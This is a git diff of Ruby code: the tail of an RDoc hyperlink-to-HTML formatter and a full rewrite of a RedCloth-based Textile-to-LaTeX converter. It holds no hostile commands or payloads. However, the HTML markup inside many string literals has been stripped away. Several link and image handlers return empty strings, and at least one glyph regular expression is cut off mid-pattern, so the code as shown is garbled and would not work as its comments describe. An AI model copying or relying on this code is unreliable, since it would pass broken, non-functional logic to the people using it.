        + def handle_special_BR(special) + return "<br/>" if special.text[0,1] == '\\' + special.text + end + + # We're invoked with a potential external hyperlink. + # [mailto:] just gets inserted. + # [http:] links are checked to see if they + # reference an image. If so, that image gets inserted + # using an tag. Otherwise a conventional + # is used. + # [img:] insert a tag + # [link:] used to insert arbitrary references + # [anchor:] used to create an anchor + def handle_special_HYPERLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + url = special.text.strip + if url =~ /([A-Za-z]+):(.*)/ + type = $1 + path = $2 + else + type = "http" + path = url + url = "http://#{url}" + end + + case type + when "http" + if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + when "img" + "" + when "link" + "#{path}" + when "anchor" + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + end + + # Here's a hyperlink where the label is different to the URL + # [[url label that may contain spaces]] + # + + def handle_special_TIDYLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ + return text + end + url = $1 + label = $2 + label = RDocFormatter.new(label).to_html + label = label.split.select{|x| x =~ /\S/}. + map{|x| x.chomp}.join(' ') + + case url + when /link:(\S+)/ + return %{#{label}} + when /img:(\S+)/ + return %{#{label}} + when /rubytalk:(\S+)/ + return %{#{label}} + when /rubygarden:(\S+)/ + return %{#{label}} + when /c2:(\S+)/ + return %{#{label}} + when /isbn:(\S+)/ + return %{#{label}} + end + + unless url =~ /\w+?:/ + url = "http://#{url}" + end + + "#{label}" + end +end + +class RDocFormatter + def initialize(text) + @text = text + end + + def to_html + markup = RDocMarkup.new + h = HyperLinkHtml.new + markup.convert(@text, h) + end +end + end \ No newline at end of file diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb old mode 100755 new mode 100644 index 7f7f52ce..fbf23688 --- a/libraries/redcloth_for_tex.rb +++ b/libraries/redcloth_for_tex.rb @@ -1,733 +1,733 @@ -# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) -# converted by David Heinemeier Hansson to emit Tex - -class String - # Flexible HTML escaping - def texesc!( mode ) - gsub!( '&', '\\\\&' ) - gsub!( '%', '\%' ) - gsub!( '$', '\$' ) - end -end - - -def table_of_contents(text, pages) - text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+) (.*)$/m - tl,content = $~[1..2] - content.gsub! /[\[\]]/, "" - content.strip! - - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - - depth << tl unless depth.last == tl - - subsection_depth = [depth.length - 1, 2].min - - lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" - lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) - - lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 - - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" - end - end - end - lines.join( "\n" ) - end -end - -class RedClothForTex < String - - VERSION = '2.0.7' - - # - # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. - # (from PyTextile) - # - TEXTILE_TAGS = - - [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], - [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], - [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], - [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], - [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. - - collect! do |a, b| - [a.chr, ( b.zero? and "" or "&#{ b };" )] - end - - # - # Regular expressions to convert to HTML. - # - A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ - A_VLGN = /[\-^~]/ - C_CLAS = '(?:\([^)]+\))' - C_LNGE = '(?:\[[^\]]+\])' - C_STYL = '(?:\{[^}]+\})' - S_CSPN = '(?:\\\\\d+)' - S_RSPN = '(?:/\d+)' - A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" - S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" - C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" - # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) - PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) - HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' - - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>])\'/, '\1’' ], # single closing - [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>])"/, '\1”' ], # double closing - [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # en dash - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - I_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right' - } - - H_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right', - '<>' => 'justify' - } - - V_ALGN_VALS = { - '^' => 'top', - '-' => 'middle', - '~' => 'bottom' - } - - QTAGS = [ - ['**', 'bf'], - ['*', 'bf'], - ['??', 'cite'], - ['-', 'del'], - ['__', 'underline'], - ['_', 'em'], - ['%', 'span'], - ['+', 'ins'], - ['^', 'sup'], - ['~', 'sub'] - ] - - def self.available? - if not defined? @@available - begin - @@available = system "pdflatex -version" - rescue Errno::ENOENT - @@available = false - end - end - @@available - end - - # - # Two accessor for setting security restrictions. - # - # This is a nice thing if you're using RedCloth for - # formatting in public places (e.g. Wikis) where you - # don't want users to abuse HTML for bad things. - # - # If +:filter_html+ is set, HTML which wasn't - # created by the Textile processor will be escaped. - # - # If +:filter_styles+ is set, it will also disable - # the style markup specifier. ('{color: red}') - # - attr_accessor :filter_html, :filter_styles - - # - # Accessor for toggling line folding. - # - # If +:fold_lines+ is set, single newlines will - # not be converted to break tags. - # - attr_accessor :fold_lines - - def initialize( string, restrictions = [] ) - restrictions.each { |r| method( "#{ r }=" ).call( true ) } - super( string ) - end - - # - # Generate tex. - # - def to_tex( lite = false ) - - # make our working copy - text = self.dup - - @urlrefs = {} - @shelf = [] - - # incoming_entities text - fix_entities text - clean_white_space text - - get_refs text - - no_textile text - - unless lite - lists text - table text - end - - glyphs text - - unless lite - fold text - block text - end - - retrieve text - encode_entities text - - text.gsub!(/\[\[(.*?)\]\]/, "\\1") - text.gsub!(/_/, "\\_") - text.gsub!( /<\/?notextile>/, '' ) - # text.gsub!( /x%x%/, '&' ) - # text.gsub!( /
        /, "
        \n" ) - text.strip! - text - - end - - def pgl( text ) - GLYPHS.each do |re, resub| - text.gsub! re, resub - end - end - - def pba( text_in, element = "" ) - - return '' unless text_in - - style = [] - text = text_in.dup - if element == 'td' - colspan = $1 if text =~ /\\(\d+)/ - rowspan = $1 if text =~ /\/(\d+)/ - style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN - end - - style << "#{ $1 };" if not @filter_styles and - text.sub!( /\{([^}]*)\}/, '' ) - - lang = $1 if - text.sub!( /\[([^)]+?)\]/, '' ) - - cls = $1 if - text.sub!( /\(([^()]+?)\)/, '' ) - - style << "padding-left:#{ $1.length }em;" if - text.sub!( /([(]+)/, '' ) - - style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) - - style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN - - cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ - - atts = '' - atts << " style=\"#{ style.join }\"" unless style.empty? - atts << " class=\"#{ cls }\"" unless cls.to_s.empty? - atts << " lang=\"#{ lang }\"" if lang - atts << " id=\"#{ id }\"" if id - atts << " colspan=\"#{ colspan }\"" if colspan - atts << " rowspan=\"#{ rowspan }\"" if rowspan - - atts - end - - def table( text ) - text << "\n\n" - text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| - - tatts, fullrow = $~[1..2] - tatts = pba( tatts, 'table' ) - rows = [] - - fullrow. - split( /\|$/m ). - delete_if { |x| x.empty? }. - each do |row| - - ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m - - cells = [] - row.split( '|' ).each do |cell| - ctyp = 'd' - ctyp = 'h' if cell =~ /^_/ - - catts = '' - catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ - - unless cell.strip.empty? - cells << "\t\t\t#{ cell }" - end - end - rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" - end - "\t\n#{ rows.join( "\n" ) }\n\t\n\n" - end - end - - def lists( text ) - text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m - tl,atts,content = $~[1..3] - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - unless depth.last == tl - depth << tl - atts = pba( atts ) - lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" - else - lines[line_id] = "\t\t\\item #{ content }" - end - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "\n\t\\end{#{ lT( v ) }}" - end - end - end - lines.join( "\n" ) - end - end - - def lT( text ) - text =~ /\#$/ ? 'enumerate' : 'itemize' - end - - def fold( text ) - text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) - # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
        ' }" ) - end - - def block( text ) - pre = false - find = ['bq','h[1-6]','fn\d+'] - - regexp_cue = [] - - lines = text.split( /\n/ ) + [' '] - new_text = - lines.collect do |line| - pre = true if line =~ /<(pre|notextile)>/i - find.each do |tag| - line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| - tag,atts,cite,content = $~[1..4] - - atts = pba( atts ) - - if tag =~ /fn(\d+)/ - # tag = 'p'; - # atts << " id=\"fn#{ $1 }\"" - regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] - content = "" - end - - if tag =~ /h([1-6])/ - section_type = "sub" * [$1.to_i - 1, 2].min - start = "\t\\#{section_type}section*{" - tend = "}" - end - - if tag == "bq" - cite = check_refs( cite ) - cite = " cite=\"#{ cite }\"" if cite - start = "\t\\begin{quotation}\n\\noindent {\\em "; - tend = "}\n\t\\end{quotation}"; - end - - "#{ start }#{ content }#{ tend }" - end unless pre - end - - #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

        \\1

        " ) - - #line.gsub!( "
        ", "\n" ) if pre - # pre = false if line =~ /<\/(pre|notextile)>/i - - line - end.join( "\n" ) - text.replace( new_text ) - regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } - end - - def span( text ) - QTAGS.each do |tt, ht| - ttr = Regexp::quote( tt ) - text.gsub!( - - /(^|\s|\>|[#{PUNCT}{(\[]) - #{ttr} - (#{C}) - (?::(\S+?))? - ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) - ([#{PUNCT}]*?) - #{ttr} - (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm - - ) do |m| - - start,atts,cite,content,tend = $~[1..5] - atts = pba( atts ) - atts << " cite=\"#{ cite }\"" if cite - - "#{ start }{\\#{ ht } #{ content }#{ tend }}" - - end - end - end - - def links( text ) - text.gsub!( / - ([\s\[{(]|[#{PUNCT}])? # $pre - " # start - (#{C}) # $atts - ([^"]+?) # $text - \s? - (?:\(([^)]+?)\)(?="))? # $title - ": - (\S+?) # $url - (\/)? # $slash - ([^\w\/;]*?) # $post - (?=\s|$) - /x ) do |m| - pre,atts,text,title,url,slash,post = $~[1..7] - - url = check_refs( url ) - - atts = pba( atts ) - atts << " title=\"#{ title }\"" if title - atts = shelve( atts ) if atts - - "#{ pre }#{ text }#{ post }" - end - end - - def get_refs( text ) - text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| - flag, url = $~[1..2] - @urlrefs[flag] = url - end - end - - def check_refs( text ) - @urlrefs[text] || text - end - - def image( text ) - text.gsub!( / - \! # opening - (\<|\=|\>)? # optional alignment atts - (#{C}) # optional style,class atts - (?:\. )? # optional dot-space - ([^\s(!]+?) # presume this is the src - \s? # optional space - (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title - \! # closing - (?::#{ HYPERLINK })? # optional href - /x ) do |m| - algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] - atts = pba( atts ) - atts << " align=\"#{ i_align( algn ) }\"" if algn - atts << " title=\"#{ title }\"" if title - atts << " alt=\"#{ title }\"" - # size = @getimagesize($url); - # if($size) $atts.= " $size[3]"; - - href = check_refs( href ) if href - url = check_refs( url ) - - out = '' - out << "" if href - out << "" - out << "#{ href_a1 }#{ href_a2 }" if href - - out - end - end - - def code( text ) - text.gsub!( / - (?:^|([\s\(\[{])) # 1 open bracket? - @ # opening - (?:\|(\w+?)\|)? # 2 language - (\S(?:[^\n]|\n(?!\n))*?) # 3 code - @ # closing - (?:$|([\]})])| - (?=[#{PUNCT}]{1,2}| - \s)) # 4 closing bracket? - /x ) do |m| - before,lang,code,after = $~[1..4] - lang = " language=\"#{ lang }\"" if lang - "#{ before }#{ code }
        #{ after }" - end - end - - def shelve( val ) - @shelf << val - " <#{ @shelf.length }>" - end - - def retrieve( text ) - @shelf.each_with_index do |r, i| - text.gsub!( " <#{ i + 1 }>", r ) - end - end - - def incoming_entities( text ) - ## turn any incoming ampersands into a dummy character for now. - ## This uses a negative lookahead for alphanumerics followed by a semicolon, - ## implying an incoming html entity, to be skipped - - text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) - end - - def encode_entities( text ) - ## Convert high and low ascii to entities. - # if $-K == "UTF-8" - # encode_high( text ) - # else - text.texesc!( :NoQuotes ) - # end - end - - def fix_entities( text ) - ## de-entify any remaining angle brackets or ampersands - text.gsub!( "\&", "&" ) - text.gsub!( "\%", "%" ) - end - - def clean_white_space( text ) - text.gsub!( /\r\n/, "\n" ) - text.gsub!( /\t/, '' ) - text.gsub!( /\n{3,}/, "\n\n" ) - text.gsub!( /\n *\n/, "\n\n" ) - text.gsub!( /"$/, "\" " ) - end - - def no_textile( text ) - text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, - '\1\2\3' ) - end - - def footnote_ref( text ) - text.gsub!( /\[([0-9]+?)\](\s)?/, - '\footnote{\1}\2') - #'\1\2' ) - end - - def inline( text ) - image text - links text - code text - span text - end - - def glyphs_deep( text ) - codepre = 0 - offtags = /(?:code|pre|kbd|notextile)/ - if text !~ /<.*>/ - # pgl text - footnote_ref text - else - used_offtags = {} - text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| - tagline = ( line =~ /^<.*>/ ) - - ## matches are off if we're between ,
         etc.
        -          if tagline
        -            if line =~ /<(#{ offtags })>/i
        -              codepre += 1
        -              used_offtags[$1] = true
        -              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
        -            elsif line =~ /<\/(#{ offtags })>/i
        -              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
        -              codepre -= 1 unless codepre.zero?
        -              used_offtags = {} if codepre.zero?
        -            elsif @filter_html or codepre > 0
        -              line.texesc!( :NoQuotes )
        -              ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
        -            end 
        -            ## do htmlspecial if between 
        -          elsif codepre > 0
        -            line.texesc!( :NoQuotes )
        -            ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
        -          elsif not tagline
        -            inline line
        -            glyphs_deep line
        -          end
        -          
        -          line
        -        end
        -      end
        -    end
        -    
        -    def glyphs( text ) 
        -      text.gsub!( /"\z/, "\" " )
        -      ## if no html, do a simple search and replace...
        -      if text !~ /<.*>/
        -        inline text
        -      end
        -      glyphs_deep text
        -    end
        -    
        -    def i_align( text )
        -      I_ALGN_VALS[text]
        -    end
        -    
        -    def h_align( text ) 
        -      H_ALGN_VALS[text]
        -    end
        -    
        -    def v_align( text ) 
        -      V_ALGN_VALS[text]
        -    end
        -    
        -    def encode_high( text )
        -      ## mb_encode_numericentity($text, $cmap, $charset);
        -    end
        -    
        -    def decode_high( text )
        -      ## mb_decode_numericentity($text, $cmap, $charset);
        -    end
        -    
        -    def textile_popup_help( name, helpvar, windowW, windowH )
        -        ' ' + name + '
        ' - end - - CMAP = [ - 160, 255, 0, 0xffff, - 402, 402, 0, 0xffff, - 913, 929, 0, 0xffff, - 931, 937, 0, 0xffff, - 945, 969, 0, 0xffff, - 977, 978, 0, 0xffff, - 982, 982, 0, 0xffff, - 8226, 8226, 0, 0xffff, - 8230, 8230, 0, 0xffff, - 8242, 8243, 0, 0xffff, - 8254, 8254, 0, 0xffff, - 8260, 8260, 0, 0xffff, - 8465, 8465, 0, 0xffff, - 8472, 8472, 0, 0xffff, - 8476, 8476, 0, 0xffff, - 8482, 8482, 0, 0xffff, - 8501, 8501, 0, 0xffff, - 8592, 8596, 0, 0xffff, - 8629, 8629, 0, 0xffff, - 8656, 8660, 0, 0xffff, - 8704, 8704, 0, 0xffff, - 8706, 8707, 0, 0xffff, - 8709, 8709, 0, 0xffff, - 8711, 8713, 0, 0xffff, - 8715, 8715, 0, 0xffff, - 8719, 8719, 0, 0xffff, - 8721, 8722, 0, 0xffff, - 8727, 8727, 0, 0xffff, - 8730, 8730, 0, 0xffff, - 8733, 8734, 0, 0xffff, - 8736, 8736, 0, 0xffff, - 8743, 8747, 0, 0xffff, - 8756, 8756, 0, 0xffff, - 8764, 8764, 0, 0xffff, - 8773, 8773, 0, 0xffff, - 8776, 8776, 0, 0xffff, - 8800, 8801, 0, 0xffff, - 8804, 8805, 0, 0xffff, - 8834, 8836, 0, 0xffff, - 8838, 8839, 0, 0xffff, - 8853, 8853, 0, 0xffff, - 8855, 8855, 0, 0xffff, - 8869, 8869, 0, 0xffff, - 8901, 8901, 0, 0xffff, - 8968, 8971, 0, 0xffff, - 9001, 9002, 0, 0xffff, - 9674, 9674, 0, 0xffff, - 9824, 9824, 0, 0xffff, - 9827, 9827, 0, 0xffff, - 9829, 9830, 0, 0xffff, - 338, 339, 0, 0xffff, - 352, 353, 0, 0xffff, - 376, 376, 0, 0xffff, - 710, 710, 0, 0xffff, - 732, 732, 0, 0xffff, - 8194, 8195, 0, 0xffff, - 8201, 8201, 0, 0xffff, - 8204, 8207, 0, 0xffff, - 8211, 8212, 0, 0xffff, - 8216, 8218, 0, 0xffff, - 8218, 8218, 0, 0xffff, - 8220, 8222, 0, 0xffff, - 8224, 8225, 0, 0xffff, - 8240, 8240, 0, 0xffff, - 8249, 8250, 0, 0xffff, - 8364, 8364, 0, 0xffff - ] - end +# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) +# converted by David Heinemeier Hansson to emit Tex + +class String + # Flexible HTML escaping + def texesc!( mode ) + gsub!( '&', '\\\\&' ) + gsub!( '%', '\%' ) + gsub!( '$', '\$' ) + end +end + + +def table_of_contents(text, pages) + text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+) (.*)$/m + tl,content = $~[1..2] + content.gsub! /[\[\]]/, "" + content.strip! + + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + + depth << tl unless depth.last == tl + + subsection_depth = [depth.length - 1, 2].min + + lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" + lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) + + lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 + + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end +end + +class RedClothForTex < String + + VERSION = '2.0.7' + + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'bf'], + ['*', 'bf'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'underline'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ] + + def self.available? + if not defined? @@available + begin + @@available = system "pdflatex -version" + rescue Errno::ENOENT + @@available = false + end + end + @@available + end + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + def initialize( string, restrictions = [] ) + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generate tex. + # + def to_tex( lite = false ) + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + # incoming_entities text + fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + unless lite + lists text + table text + end + + glyphs text + + unless lite + fold text + block text + end + + retrieve text + encode_entities text + + text.gsub!(/\[\[(.*?)\]\]/, "\\1") + text.gsub!(/_/, "\\_") + text.gsub!( /<\/?notextile>/, '' ) + # text.gsub!( /x%x%/, '&' ) + # text.gsub!( /
        /, "
        \n" ) + text.strip! + text + + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + def table( text ) + text << "\n\n" + text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + def lists( text ) + text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if 